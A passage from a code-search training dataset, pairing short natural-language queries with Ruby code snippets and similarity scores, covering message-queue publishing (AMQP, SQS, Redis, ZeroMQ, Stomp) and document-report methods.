"def enqueue(payload)\n @queue.publish(JSON.generate(payload), :routing_key => @queue.name)\n end",
"def publish(data, message_title = nil)\n mode = :persistent_sequential\n if message_title\n mode = :persistent\n else\n message_title = \"message\"\n end\n @zk.create(\"#{full_queue_path}/#{message_title}\", data, :mode => mode)\n rescue KeeperException::NodeExists\n return false\n end",
"def handle(header, payload)\n\n workitem.fields['amqp_message'] = [ header.to_hash, payload ]\n end",
"def send_topic_acknowledge(msg, headers, timeout=60)\n #m=StompMessage::Message.new('stomp_BILLING', msg)\n open_connection\n s=rand*30 # scott - used to be 1000 but seem to create connections on activemq\n # open new topic to listen to reply...\n # was this but jms seems to blow up receipt_topic=\"/topic/receipt/client#{s.to_i}\"\n receipt_topic=\"/topic/rcpt_client#{s.to_i}\"\n receipt_flag = false\n # internal_conn = Stomp::Connection.open '', '', self.host, self.port, false \n self.conn.subscribe( receipt_topic, { :ack =>\"client\" }) {|msg|\n begin\n Timeout::timeout(timeout) {\n self.conn.acknowledge(msg,msg.headers)\n \t msg2= msg.body\n \t yield msg2\n }\n rescue Exception => e\n puts \"exception #{e.message}\"\n # raise \"timeout\" \n ensure\n receipt_flag=true\n self.conn.unsubscribe receipt_topic \n end \n }\n \n \n more_headers= {'persistent'=>'false', 'reply-to' => \"#{receipt_topic}\" }\n more_headers.merge headers\n self.conn.send(self.topic, msg.to_xml, more_headers ) \n Thread.new { sleep(timeout+1)\n puts \"calling unsubscribe on #{receipt_topic}\" if !receipt_flag\n self.conn.unsubscribe receipt_topic if !receipt_flag\n } \n end",
"def write level, message\n now = Time.now\n usec = sprintf \"%06d\", now.usec\n timestamp = now.strftime \"%Y%m%d-%H:%M:%S.#{usec} %Z\"\n @message_queue << [ZMQ::Message.new(level.to_s), ZMQ::Message.new(timestamp), ZMQ::Message.new(message.to_s)]\n write_queue_to_socket\n end",
"def hsdq_send_ack(message)\n hsdq_send(message.merge(type: :ack))\n end",
"def deliver(message) \n @channel.send(:add_message, message)\n end",
"def send_message(message, spark)\n # avoid further processing into the multi redis command\n channel_name = message[:sent_to]\n h_key = hsdq_key message\n burst_j = message.to_json\n spark_j = spark.to_json\n bkey = burst_key(message)\n\n cx_data.multi do\n cx_data.hset h_key, bkey, burst_j\n cx_data.expire h_key, 259200 #3 days todo set by options\n cx_data.rpush channel_name, spark_j\n end\n end",
"def enqueue_received_message(message,queue=received_message_queue)\n enqueue(message,queue)\n end",
"def enqueue_message(message)\n socket.enqueue_packet(message)\n end",
"def queue_message(id, args=nil)\n @send_q.push Message.new(id, args)\n end",
"def deliver_now\n message.deliver\n end",
"def notify(bucket)\n @queue.push({:Event => \"New Message\", :Bucket => bucket})\n end",
"def set( queue_name, item, expiration = 0 )\n s = KJess::Request::Set.new( :queue_name => queue_name, :data => item, :expiration => expiration )\n resp = send_recv( s )\n\n return KJess::Response::Stored === resp\n end",
"def nack_message(adapter, queue_url, msg)\n adapter.sqs_client.change_message_visibility(\n queue_url: queue_url,\n receipt_handle: msg.receipt_handle,\n visibility_timeout: NACK_VISIBILITY_TIMEOUT\n )\n rescue StandardError => e\n Mimi::Messaging.logger&.error(\n \"#{self.class}: failed to NACK message from: #{queue_url},\" \\\n \" error: (#{e.class}) #{e}\"\n )\n # NOTE: error is recovered and the message is neither ACKed or NACKed\n end",
"def publish(topic, message, options = {})\n suffixed_topic = \"#{topic}#{config.queue_suffix}\"\n Publisher.publish(aws_client, config, suffixed_topic, message, options)\n end",
"def push(a_msg)\n encoded_message = YAML::dump(a_msg)\n @queue.push(a_msg)\n end",
"def create_queue(queue_name, metadata = {})\r\n execute(:put, queue_name, nil, metadata.merge!(:x_ms_version => '2009-09-19'))\r\n end",
"def publish_to(exname, message, opts={})\n EventMachine.schedule {\n ex = amq.exchanges[exname] || raise(\"Undefined exchange name : #{exname}\")\n case ex.type\n when :topic\n unless opts.has_key? :key\n opts[:key] = '*'\n end\n end\n ex.publish(Serializer.instance.marshal(message), opts)\n }\n end",
"def push(message)\n @redis.lpush @name, message\n end",
"def peer_queued_send(peer,message)\r\n\t\t\toutbound_enqueue('puts',peer,message)\r\n\t\tend",
"def send_message(msg)\n session.transport.send_message(msg)\n end",
"def create_message(queue_name, message_text, options = {})\n query = {}\n\n unless options.empty?\n query[\"visibilitytimeout\"] = options[:visibility_timeout] if options[:visibility_timeout]\n query[\"messagettl\"] = options[:message_ttl] if options[:message_ttl]\n query[\"timeout\"] = options[:timeout].to_s if options[:timeout]\n end\n\n uri = messages_uri(queue_name, query)\n body = Serialization.message_to_xml(message_text, options[:encode])\n\n response = call(:post, uri, body, {}, options)\n Serialization.queue_messages_from_xml(response.body, options[:decode])\n end",
"def exchange\n Delayed::Job.tomqueue_manager.channel.exchange(@name,\n :type => @type,\n :auto_delete => @auto_delete,\n :durable => @durable\n )\n end",
"def deliver_now!\n message.deliver!\n end",
"def publish(message)\n with_queue(waiting_queue_name) do |waiting_queue|\n publish_to_queue(waiting_queue, message)\n end\n end",
"def set_queue_metadata(queue_name, metadata, options = {})\n query = { \"comp\" => \"metadata\" }\n query[\"timeout\"] = options[:timeout].to_s if options[:timeout]\n\n uri = queue_uri(queue_name, query)\n\n headers = {}\n StorageService.add_metadata_to_headers(metadata || {}, headers)\n\n call(:put, uri, nil, headers, options)\n nil\n end",
"def ack(msg_info)\n end",
"def store_event( event )\n\t\ttime = event.delete( '@timestamp' )\n\t\ttype = event.delete( '@type' )\n\t\tversion = event.delete( '@version' )\n\n\t\tdata = JSON.generate( event )\n\t\theaders = {\n\t\t\ttime: time,\n\t\t\ttype: type,\n\t\t\tversion: version,\n\t\t\tcontent_type: 'application/json',\n\t\t\tcontent_encoding: data.encoding.name,\n\t\t\ttimestamp: Time.now.to_f,\n\t\t}\n\n\t\t@amqp_exchange.value.publish( data, headers )\n\tend",
"def enqueue_message(obj)\n output_queue << obj\n end",
"def create\n @message_queue = MessageQueue.new(message_queue_params)\n\n respond_to do |format|\n if @message_queue.save\n format.html { redirect_to @message_queue, notice: 'Message queue was successfully created.' }\n format.json { render :show, status: :created, location: @message_queue }\n else\n format.html { render :new }\n format.json { render json: @message_queue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def send_message( message )\n\t\tself.send_queue << message\n\t\tself.reactor.enable_events( self.socket, :write ) unless\n\t\t\tself.reactor.event_enabled?( self.socket, :write )\n\tend",
"def broadcast(message)\n @channel.default_exchange.publish(message, routing_key: @queue.name)\n end",
"def enqueue(queue_name, message)\n Fiber.new do\n Henchman.enqueue(queue_name, message)\n end.resume\n end",
"def create\n @message = Message.new(message_params)\n create_q(@message)\n end",
"def publish(message, name)\n logger.debug \"AMQP publishing `#{message}` to exchange `#{name}`\"\n publish_channel.fanout(name, :auto_delete => true).publish(message)\n end",
"def message(text)\n @text_queue.push text\n end",
"def send_message(queue_name_or_url, msg)\n Adapter.send_message queue_url(queue_name_or_url), msg\n end",
"def set_queue\n self.add_queue(queue_name) do |metadata, payload|\n log.info(\"Message received with the routing key: #{metadata.routing_key}\")\n log.debug(\"Processing message with routing key: '#{metadata.routing_key}' and payload: #{payload}\")\n s2_resource = s2_resource(payload)\n route_message(metadata, s2_resource)\n end\n end",
"def db_queued(message = \"Queued at #{Time.zone.now}\")\n update_db_status({ status: STATUS_QUEUED, message: message })\n end",
"def send_message(a_message)\n self.queue_message(a_message)\n resp = a_message.transmit\n resp.reason_phrase == \"ok\"\n end",
"def job(body)\n @queue.push(@config.get('DISQUE_QUEUE'), body, 1000)\n end",
"def send_message(message)\n send_queue_message(\n address, (valid_json?(message) ? message : message.to_json), sqs\n )\n end",
"def publish(message, key)\n @exchange.publish(message.to_json, :routing_key => key)\n end",
"def markmsgdelivered(msgid)\n req(\"markmsgdelivered\", \"\", \"\", msgid, \"\")\n end",
"def persist_message(params)\n message = params[:subscribable].messages.create(content: params[:message])\n params[:message_object] = message\n continue(params)\n end",
"def queue_out\n @channel.queue('out', durable: true)\n end",
"def queue_out\n @channel.queue('out', durable: true)\n end",
"def send_keepalive\n# rt_debug \"* sending keepalive!\"\n queue_message(:keepalive)\n end",
"def send_msg proc_id,msg\n @messages[proc_id]<< msg\n @queue[1]<<proc_id\n end",
"def send_message(name,body,head={})\n message = DripDrop::Message.new(name,:body => body, :head => head).encoded\n if ZMQGEM == :rbzmq\n @socket.send name, ZMQ::SNDMORE\n @socket.send message\n else\n @socket.send_string name, ZMQ::SNDMORE\n @socket.send_string message\n end\n end",
"def send_a_message(conn, dest, message, headers={})\n return if not @need_sends \n @log.debug \"send_s_message starts\"\n return if not conn.connected?\n 1.upto(@max_msgs) do |mnum|\n outmsg = \"#{message} |:| #{mnum}\"\n conn.send(dest, outmsg, headers) # EM supplied Stomp method\n end\n @need_sends = false\n @need_subscribe = true\n @log.debug \"send_s_message done\"\nend",
"def queue_in\n @channel.queue('dns-in', durable: true)\n end",
"def putQueue( queue_name, data)\n params = Hash.new\n params['queue_name'] = queue_name\n params['data'] = data\n return doCurl(\"put\",\"/queue\",params)\n end",
"def store(from, nonce, data)\n fail ReportError.new self, msg: 'mailbox.store() : wrong params' unless data and\n from and from.length == HPK_LEN\n\n b64_from = b64enc from\n b64_nonce = b64enc nonce\n b64_data = b64enc data\n\n item = {\n from: b64_from, # hpk of mailbox sending this message\n nonce: b64_nonce, # the nonce originator used for his encryption\n data: b64_data, # encrypted payload\n time: Time.new.to_f # time message is received by relay\n }\n\n _resetCount()\n res = runMbxTransaction(@hpk, 'store') do\n # store message itself on the msg_hpk_nonce tag\n rds.set(msg_tag(b64_nonce), item.to_json)\n rds.expire(msg_tag(b64_nonce), @tmout_msg)\n\n # mbx_hpk is used as index hash\n rds.hset(hpk_tag, b64_nonce, Time.new + @tmout_msg)\n rds.expire(hpk_tag, @tmout_mbx)\n # by default everytihing in mailbox will expire in 3 days\n end\n return res\n end",
"def set_queue_metadata(queue_name, metadata = {})\r\n execute(:put, queue_name, { :comp => 'metadata' }, metadata.merge!(:x_ms_version => '2009-09-19'))\r\n end",
"def work(message)\n if message.is_a?(Message)\n exchange.publish(message.body, routing_key: message.to,\n persistent: !Proletariat.test_mode?,\n headers: message.headers)\n end\n end",
"def push(entry)\n exchange.publish(Marshal.dump(entry), :key => queue_name)\n end"
] |
[
"0.682341",
"0.6787292",
"0.66728467",
"0.66507393",
"0.6475411",
"0.6409977",
"0.6406791",
"0.64059603",
"0.63284624",
"0.6297982",
"0.6289944",
"0.6217713",
"0.61912036",
"0.6118599",
"0.6118444",
"0.6075365",
"0.6066768",
"0.60657805",
"0.6056343",
"0.60331154",
"0.6009493",
"0.5986959",
"0.5985567",
"0.5976798",
"0.59672815",
"0.59646",
"0.5964231",
"0.5956899",
"0.59341806",
"0.59113103",
"0.591059",
"0.5867709",
"0.58622307",
"0.58610564",
"0.5852004",
"0.58457273",
"0.5832155",
"0.5829003",
"0.5810843",
"0.5780394",
"0.5777751",
"0.577591",
"0.5775689",
"0.5767156",
"0.57668614",
"0.57623935",
"0.57599324",
"0.5757859",
"0.57552636",
"0.57339257",
"0.5711909",
"0.57107645",
"0.5710306",
"0.57036173",
"0.568952",
"0.5687407",
"0.5682361",
"0.5678668",
"0.5670586",
"0.56609523",
"0.5635194",
"0.56344175",
"0.5622036",
"0.56167066",
"0.56034243",
"0.55982924",
"0.55937856",
"0.5576575",
"0.5571824",
"0.55678934",
"0.5567343",
"0.5564312",
"0.555839",
"0.5554363",
"0.5529631",
"0.5523474",
"0.5522339",
"0.55144304",
"0.5507378",
"0.5504374",
"0.54852784",
"0.54841036",
"0.54797995",
"0.54797715",
"0.5477189",
"0.5475958",
"0.54697555",
"0.54632413",
"0.54629135",
"0.54629135",
"0.5456517",
"0.54555297",
"0.54435533",
"0.54414624",
"0.5428181",
"0.54243994",
"0.54238874",
"0.542237",
"0.5421203",
"0.5414826"
] |
0.65237254
|
4
|
A full document diagnostic report.
|
def kind
attributes.fetch(:kind)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def reporting\n # STUB\n end",
"def report; end",
"def report; end",
"def report; end",
"def report; end",
"def report; end",
"def report\n\t\tend",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def document; end",
"def report_body; end",
"def report_body; end",
"def great_job\n report = RDoc::Markup::Document.new\n\n report << RDoc::Markup::Paragraph.new('100% documentation!')\n report << RDoc::Markup::Paragraph.new('Great Job!')\n\n report\n end",
"def document_summary_information\n @document_summary_information ||= create_document_summary_information\n end",
"def report\n sprintf \"Number of paragraphs %d \\n\" <<\n \"Number of sentences %d \\n\" <<\n \"Number of words %d \\n\" <<\n \"Number of characters %d \\n\\n\" <<\n \"Average words per sentence %.2f \\n\" <<\n \"Average syllables per word %.2f \\n\\n\" <<\n \"Flesch score %2.2f \\n\" <<\n \"Flesh-Kincaid grade level %2.2f \\n\" <<\n \"Fog Index %2.2f \\n\",\n num_paragraphs, num_sentences, num_words, num_characters,\n words_per_sentence, syllables_per_word,\n flesch, kincaid, fog\n end",
"def report\n \n end",
"def write_report\n\n end",
"def report\n if @coverage_level > 0 then\n extend RDoc::Text\n end\n\n if @coverage_level.zero? then\n calculate\n\n return great_job if @num_items == @doc_items\n end\n\n ucm = @store.unique_classes_and_modules\n\n report = RDoc::Markup::Document.new\n report << RDoc::Markup::Paragraph.new('The following items are not documented:')\n report << RDoc::Markup::BlankLine.new\n\n ucm.sort.each do |cm|\n body = report_class_module(cm) {\n [\n report_constants(cm),\n report_attributes(cm),\n report_methods(cm),\n ].compact\n }\n\n report << body if body\n end\n\n if @coverage_level > 0 then\n calculate\n\n return great_job if @num_items == @doc_items\n end\n\n report\n end",
"def document?; end",
"def document?; end",
"def show_doc \n pp @doc\n end",
"def show\n @documents = @maintenance.documents\n end",
"def output_report\n\t\toutput_start\n\t\toutput_head\n\t\toutput_body_start\n\t\toutput_body\n\t\toutput_body_end\n\t\toutput_end\n\tend",
"def summary\n calculate\n\n num_width = [@num_files, @num_items].max.to_s.length\n undoc_width = [\n @undoc_attributes,\n @undoc_classes,\n @undoc_constants,\n @undoc_items,\n @undoc_methods,\n @undoc_modules,\n @undoc_params,\n ].max.to_s.length\n\n report = RDoc::Markup::Verbatim.new\n\n report << \"Files: %*d\\n\" % [num_width, @num_files]\n\n report << \"\\n\"\n\n report << \"Classes: %*d (%*d undocumented)\\n\" % [\n num_width, @num_classes, undoc_width, @undoc_classes]\n report << \"Modules: %*d (%*d undocumented)\\n\" % [\n num_width, @num_modules, undoc_width, @undoc_modules]\n report << \"Constants: %*d (%*d undocumented)\\n\" % [\n num_width, @num_constants, undoc_width, @undoc_constants]\n report << \"Attributes: %*d (%*d undocumented)\\n\" % [\n num_width, @num_attributes, undoc_width, @undoc_attributes]\n report << \"Methods: %*d (%*d undocumented)\\n\" % [\n num_width, @num_methods, undoc_width, @undoc_methods]\n report << \"Parameters: %*d (%*d undocumented)\\n\" % [\n num_width, @num_params, undoc_width, @undoc_params] if\n @coverage_level > 0\n\n report << \"\\n\"\n\n report << \"Total: %*d (%*d undocumented)\\n\" % [\n num_width, @num_items, undoc_width, @undoc_items]\n\n report << \"%6.2f%% documented\\n\" % percent_doc\n report << \"\\n\"\n report << \"Elapsed: %0.1fs\\n\" % (Time.now - @start)\n\n RDoc::Markup::Document.new report\n end",
"def report\n return @report\n end",
"def reference_document\n if document.blank?\n \"None Assigned\"\n else\n document.refno+\" : \"+document.title+\" : dated \"+document.letterdt.strftime(\"%d-%b-%Y\").to_s\n end\n end",
"def document\n capture_parameters\n capture_return_type\n super\n end",
"def documents; end",
"def documents; end",
"def generate_doc\n\n end",
"def show_document\n\tprint_header\n\tprint_document\n\tprint_footer\nend",
"def index\n @journal_doc_reports = JournalDocReport.all\n end",
"def verbose_report\n result = header\n result += \":\\n#{smell_list}\" if should_report\n result += \"\\n\"\n result\n end",
"def output_report\n report = \"\"\n report << '<html>'\n report << ' <head>'\n report << \" <title>#{@title}</title>\"\n report << ' </head>'\n report << ' <body>'\n @text.each { |line| report << \" <p>#{line}</p>\" }\n report << ' </body>'\n report << '</html>'\n end",
"def diagnostics; end",
"def diagnostics; end",
"def diagnostics; end",
"def diagnostics; end",
"def document\n @document ||= Hpricot(open_goodreads)\n end",
"def document\n self\n end",
"def document\n self\n end",
"def document_detail(node)\n node_data = node.data\n <<~DETAIL_SRC\n [[#{Giblish.to_valid_id(node.pathname.to_s, \"_\", \"_\", true)}]]\n === pass:[#{node_data.title.encode(\"utf-8\")}]\n\n #{\"Doc id::\\n_#{node_data.docid}_\" unless node_data.docid.nil?}\n\n #{\"Purpose::\\n#{node_data.purpose_str}\" unless node_data.purpose_str.to_s.empty?}\n\n #{if node_data.stderr.empty?\n \"\"\n else\n \"Conversion issues::\\n\"\\\n \"#{node_data.stderr.gsub(/^/, \" * \")}\"\n end\n }\n\n Source file::\n #{node_data.src_node.segment}\n\n '''\n\n DETAIL_SRC\n end",
"def doc_text_info\n extra_javascript 'docs'\n @bugs = sorted_bugs\n end",
"def report\n # Iterate over each qotd record and check if it is present verbatim\n # in the corresponding content AT file.\n discrepancies = []\n @qotd_records.each { |qotd_record|\n date_code = qotd_record[:title].downcase\n puts \" - processing #{ date_code }\"\n sanitized_qotd_content = sanitize_qotd_content(qotd_record[:contents])\n corresponding_content_at_file = RFile::ContentAt.find_by_date_code(\n date_code,\n \"at\",\n @content_type\n )\n\n if corresponding_content_at_file.nil?\n raise ArgumentError.new(\"Could not find content AT file for #{ date_code }\")\n end\n\n sanitized_content_at_plain_text = sanitize_content_at_plain_text(\n corresponding_content_at_file.plain_text_with_subtitles_contents({})\n )\n\n find_diffs_between_qotd_and_content_at(\n date_code,\n qotd_record[:publishdate],\n sanitized_qotd_content,\n sanitized_content_at_plain_text,\n discrepancies\n )\n }\n assign_discrepancy_types(discrepancies)\n discrepancies\n end",
"def report_title; end",
"def report_title; end",
"def report\n @logger\n end",
"def doc; end",
"def doc; end",
"def doc; end",
"def doc; end",
"def message\n @doc\n end",
"def write_to_screen!\n puts report_title\n puts report_body.lines.take(show_count)\n end",
"def report\n table = Terminal::Table.new(headings: ['Basic', 'Result']) do |t|\n t << [\"Number of paragraphs\", number_of_paragraphs]\n t << [\"Number of sentences\", number_of_sentences]\n t << [\"Number of words\", number_of_words]\n t << [\"Number of characters\", number_of_characters]\n t << [\"Number of syllables\", number_of_syllables]\n\n t << :separator\n t << [\"Average words per sentence\", mean_of_words_per_sentence]\n t << [\"Average syllables per word\", mean_of_syllables_per_word]\n t << [\"Average syllables per content word\", syllables_per_content_word]\n\n t << :separator\n t << [\"Verbs Ocurrencies\", verb_incidence]\n t << [\"Nouns Ocurrencies\", noun_incidence]\n t << [\"Adjective Ocurrencies\", adjective_incidence]\n t << [\"Adverb Ocurrencies\", adverb_incidence]\n t << [\"Pronoun Ocurrencies\", pronoun_incidence]\n t << [\"Content Word Ocurrencies\", content_word_incidence]\n t << [\"Function Word Ocurrencies\", function_word_incidence]\n\n t << :separator\n t << [\"Flesch score\", flesch]\n end\n puts table\n end",
"def fulldoc_template; end",
"def document\n capture_args\n capture_return\n super\n end",
"def modeler_description\n return 'The main gist is to figure out how to correctly write to the reports/ directory'\n end",
"def docs; end",
"def report\n @scan = find_scan( params.require( :id ) )\n\n format = URI( request.url ).path.split( '.' ).last\n render layout: false,\n content_type: FrameworkHelper.content_type_for_report( format ),\n text: FrameworkHelper.framework { |f| f.report_as format, @scan.report.object }\n end",
"def show\n render_result('Current API has no definition for just calling /docs. Call /docs/changes or /docs/deletes')\n end",
"def show\n @maintreport = Maintreport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @maintreport }\n format.pdf { render :layout => false }\n end\n end",
"def doc\n model.doc if model\n end",
"def get_doc \n @doc\n end",
"def report\n message = [identification]\n\n message.concat(make_report('Original-Source', :original_source))\n message.concat(make_report('Generated-Source', :generated_source))\n message.concat(make_report('Original-Node', :original_node))\n message.concat(make_report('Generated-Node', :generated_node))\n message.concat(node_diff_report)\n\n message.join(\"\\n\")\n end",
"def create_document_summary_information\n v_stream = []\n v_stream.concat [0xFEFF, 0x0000, 0x030A, 0x0100, 0x0000, 0x0000, 0x0000, 0x0000]\n v_stream.concat [0x0000, 0x0000, 0x0000, 0x0000, 0x0100, 0x0000, 0x02D5, 0xCDD5]\n v_stream.concat [0x9C2E, 0x1B10, 0x9397, 0x0800, 0x2B2C, 0xF9AE, 0x3000, 0x0000]\n v_stream.concat [0xCC00, 0x0000, 0x0900, 0x0000, 0x0100, 0x0000, 0x5000, 0x0000]\n v_stream.concat [0x0F00, 0x0000, 0x5800, 0x0000, 0x1700, 0x0000, 0x6400, 0x0000]\n v_stream.concat [0x0B00, 0x0000, 0x6C00, 0x0000, 0x1000, 0x0000, 0x7400, 0x0000]\n v_stream.concat [0x1300, 0x0000, 0x7C00, 0x0000, 0x1600, 0x0000, 0x8400, 0x0000]\n v_stream.concat [0x0D00, 0x0000, 0x8C00, 0x0000, 0x0C00, 0x0000, 0x9F00, 0x0000]\n v_stream.concat [0x0200, 0x0000, 0xE9FD, 0x0000, 0x1E00, 0x0000, 0x0400, 0x0000]\n v_stream.concat [0x0000, 0x0000, 0x0300, 0x0000, 0x0000, 0x0C00, 0x0B00, 0x0000]\n v_stream.concat [0x0000, 0x0000, 0x0B00, 0x0000, 0x0000, 0x0000, 0x0B00, 0x0000]\n v_stream.concat [0x0000, 0x0000, 0x0B00, 0x0000, 0x0000, 0x0000, 0x1E10, 0x0000]\n v_stream.concat [0x0100, 0x0000, 0x0700, 0x0000, 0x5368, 0x6565, 0x7431, 0x000C]\n v_stream.concat [0x1000, 0x0002, 0x0000, 0x001E, 0x0000, 0x0013, 0x0000, 0x00E3]\n v_stream.concat [0x83AF, 0xE383, 0xBCE3, 0x82AF, 0xE382, 0xB7E3, 0x83BC, 0xE383]\n v_stream.concat [0x8800, 0x0300, 0x0000, 0x0100, 0x0000, 0x0000]\n v_stream = v_stream.pack 'c*'\n Storage.new([5].pack('c')+\"DocumentSummaryInformation\", :data=>v_stream)\n end",
"def document\n {\n 'title' => 'Elasticsearch: The Definitive Guide',\n 'cover' => nil,\n 'masthead' => nil,\n }\n end",
"def show\n report_id = params[:id]\n @report = Report.find(report_id)\n @group_id = params[:group_id]\n @documents = Document.where(report_id:report_id)\n end",
"def report\n @scan = find_scan( params.require( :id ) )\n\n format = URI( request.url ).path.split( '.' ).last\n render layout: false,\n text: FrameworkHelper.\n framework { |f| f.report_as format, @scan.report.object }\n end",
"def inspect\n puts @doc.inspect\n end",
"def inspect\n puts @doc.inspect\n end",
"def generate_standard_report(start_date = nil, end_date = nil)\r\n report_lines = ['Affiliate Unique ID,Event Type,Timestamp,First Review?,Program Name']\r\n report_events(start_date, end_date) do |event|\r\n report_lines.push event.report_line\r\n end\r\n report_lines.join(\"\\n\")\r\n end",
"def agreement_report\n\t\treport = ActiveReporting::Report.new( { :title => \"Review Stage Agreement\", :description => \"Comparison of document dispositions across reviewers\" } )\n\t\tfor sr in self.stage_reviewers do\n\t\t\treport.columns << ActiveReporting::Report::Column.new( :title => \"Reviewer #{sr.user.nickname}\", :formatter => Proc.new { |v| DocumentReview.action_verb(v) } )\n\t\tend\n\t\treport.columns << ActiveReporting::Report::Column.new( :title => \"Count\" )\n\t\tsql_select1 = self.stage_reviewers.collect{ |sr| \"dr#{sr.id}.disposition disposition#{sr.id}\" }.join(\", \")\n\t\tsql_join1 = self.stage_reviewers.collect{ |sr| \"LEFT JOIN stage_reviewers sr#{sr.id} ON sr#{sr.id}.review_stage_id = rs.id AND sr#{sr.id}.id = #{sr.id}\" }.join(\"\\n\")\n\t\tsql_join2 = self.stage_reviewers.collect{ |sr| \"LEFT JOIN document_reviews dr#{sr.id} ON dr#{sr.id}.stage_reviewer_id = sr#{sr.id}.id AND dr#{sr.id}.document_id = d.id\" }.join(\"\\n\")\n\t\tsql_where1 = self.stage_reviewers.collect{ |sr| \"dr#{sr.id}.id IS NOT NULL\" }.join(\" OR \")\n\t\tsql_group1 = self.stage_reviewers.collect{ |sr| \"dr#{sr.id}.disposition\" }.join(\", \")\n\t\t# SELECT dr101.disposition disp202, dr202.disposition disp202, count(d.id)\n\t\t# FROM review_stages rs, documents d\n\t\t# LEFT JOIN stage_reviewers sr101 ON sr101.review_stage_id = rs.id AND sr101.id = 101\n\t\t# LEFT JOIN stage_reviewers sr202 ON sr202.review_stage_id = rs.id AND sr202.id = 202\n\t\t# LEFT JOIN document_reviews dr101 ON dr101.stage_reviewer_id = sr101.id AND dr101.document_id = d.id\n\t\t# LEFT JOIN document_reviews dr202 ON dr202.stage_reviewer_id = sr202.id AND dr202.document_id = d.id\n\t\t# GROUP BY dr101.disposition, dr202.disposition\n\t\t# WHERE rs.id = #{self.id} AND (dr101.id NOT NULL OR dr202.id NOT NULL)\n\t\tsql = <<-EOT\n\t\t\tSELECT\n\t\t\t\t#{sql_select1},\n\t\t\t\tCOUNT(d.id) document_count\n\t\t\t\tFROM review_stages rs JOIN documents d\n\t\t\t\tLEFT JOIN document_sources ds ON d.document_source_id = ds.id\n\t\t\t\t#{sql_join1}\n\t\t\t\t#{sql_join2}\n\t\t\t\tWHERE rs.id = #{self.id} AND ds.project_id = rs.project_id AND (#{sql_where1})\n\t\t\t\tGROUP BY\n\t\t\t\t\t#{sql_group1}\n\t\t\t\t;\n\t\tEOT\n\t\trows = self.connection.select_rows( sql )\n\t\tfor row in self.connection.select_rows( sql )\n\t\t\tvalues = {}\n\t\t\treport.columns.each_index do |i|\n\t\t\t\tcol = report.columns[i]\n\t\t\t\tvalue = col.format(row[i])\n\t\t\t\tvalues[col] = value\n\t\t\tend\n\t\t\trow = ActiveReporting::Report::Row.new( values )\n\t\t\treport.rows << row\n\t\tend\n\t\treport\n\tend",
"def documents\n reply.documents[0][RESULTS] || reply.documents[0][RESULT]\n end",
"def wardreport\n\t\t@wards = Ward.find(:all)\n\n\n html = render :layout => false \n\tkit = PDFKit.new(html)\n\n\tkit.stylesheets << RAILS_ROOT + '/public/stylesheets/styles.css' \n\n\tsend_data(kit.to_pdf, :filename => \"wardreport.pdf\", :type => 'application/pdf')\n\tend",
"def report\n raise \"#{self.class} should implement #report\"\n end",
"def report\n raise \"#{self.class} should implement #report\"\n end",
"def show_doc(retval_arr)\n message = retval_arr[0]\n table = retval_arr[1]\n \n table.each do |row|\n puts row\n end\n puts\n end",
"def show\n #prawnto :inline => false\n @document = Document.find(params[:id])\n set_unseen_emails_count @document unless @document.seen\n #fire_log session.session_id\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @document }\n#\t\t\tformat.pdf { send_data render_pdf( @document ), \n#\t\t\t\t:type => 'application/pdf', :disposition => 'inline' }\n format.pdf\n end\n end",
"def show\n authorize :report, :show?\n if params[:finalizar]\n @resquest_criminal.status = 2\n @resquest_criminal.save\n end\n respond_to do |format|\n format.html\n format.pdf {render template: 'reports/report_pdf', pdf: \"laudo-#{@report.id}-#{@report.updated_at}\"}\n end\n end",
"def diagnostic; end",
"def admin_report\n @admin_report ||= begin\n messages_log = @logs.collect{|h| h[:content].in_div(class: h[:options][:class])}.join\n <<-TXT\n <h2>Messages logs</h2>\n #{messages_log}\n TXT\n end\n end",
"def create\n @journal_doc_report = JournalDocReport.new(journal_doc_report_params)\n\n respond_to do |format|\n if @journal_doc_report.save\n format.html { redirect_to @journal_doc_report, notice: 'Journal doc report was successfully created.' }\n format.json { render :show, status: :created, location: @journal_doc_report }\n else\n format.html { render :new }\n format.json { render json: @journal_doc_report.errors, status: :unprocessable_entity }\n end\n end\n end",
"def document\n raise Datasource::MethodOverride.new(\"document method needs to be overridden\")\n end"
] |
[
"0.6467909",
"0.6390335",
"0.6390335",
"0.6390335",
"0.6390335",
"0.6390335",
"0.63822997",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6292579",
"0.6287457",
"0.6287457",
"0.6270835",
"0.6261332",
"0.62039304",
"0.618622",
"0.6140678",
"0.61368066",
"0.60601795",
"0.60601795",
"0.60340166",
"0.59923756",
"0.5946183",
"0.59225637",
"0.59221363",
"0.59099877",
"0.5903444",
"0.5895211",
"0.5895211",
"0.58790606",
"0.58547765",
"0.5839755",
"0.58165467",
"0.58116233",
"0.5811136",
"0.5811136",
"0.5811136",
"0.5811136",
"0.580812",
"0.57742935",
"0.57742935",
"0.5771758",
"0.57662916",
"0.57568455",
"0.57037157",
"0.57037157",
"0.57006556",
"0.56697553",
"0.56697553",
"0.56697553",
"0.56697553",
"0.56456447",
"0.5638897",
"0.5630357",
"0.56208605",
"0.5619635",
"0.56173617",
"0.5608721",
"0.5594298",
"0.5593402",
"0.5593386",
"0.5592538",
"0.5575478",
"0.55649734",
"0.5561451",
"0.556031",
"0.55532163",
"0.5552694",
"0.55423486",
"0.55423486",
"0.55333537",
"0.55298615",
"0.5528518",
"0.55268776",
"0.55242175",
"0.55242175",
"0.55143684",
"0.5509843",
"0.54999983",
"0.5494679",
"0.5491228",
"0.5485657",
"0.54835373"
] |
0.0
|
-1
|
An optional result id. If provided it will be sent on the next diagnostic request for the same document.
|
def result_id
attributes.fetch(:resultId)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
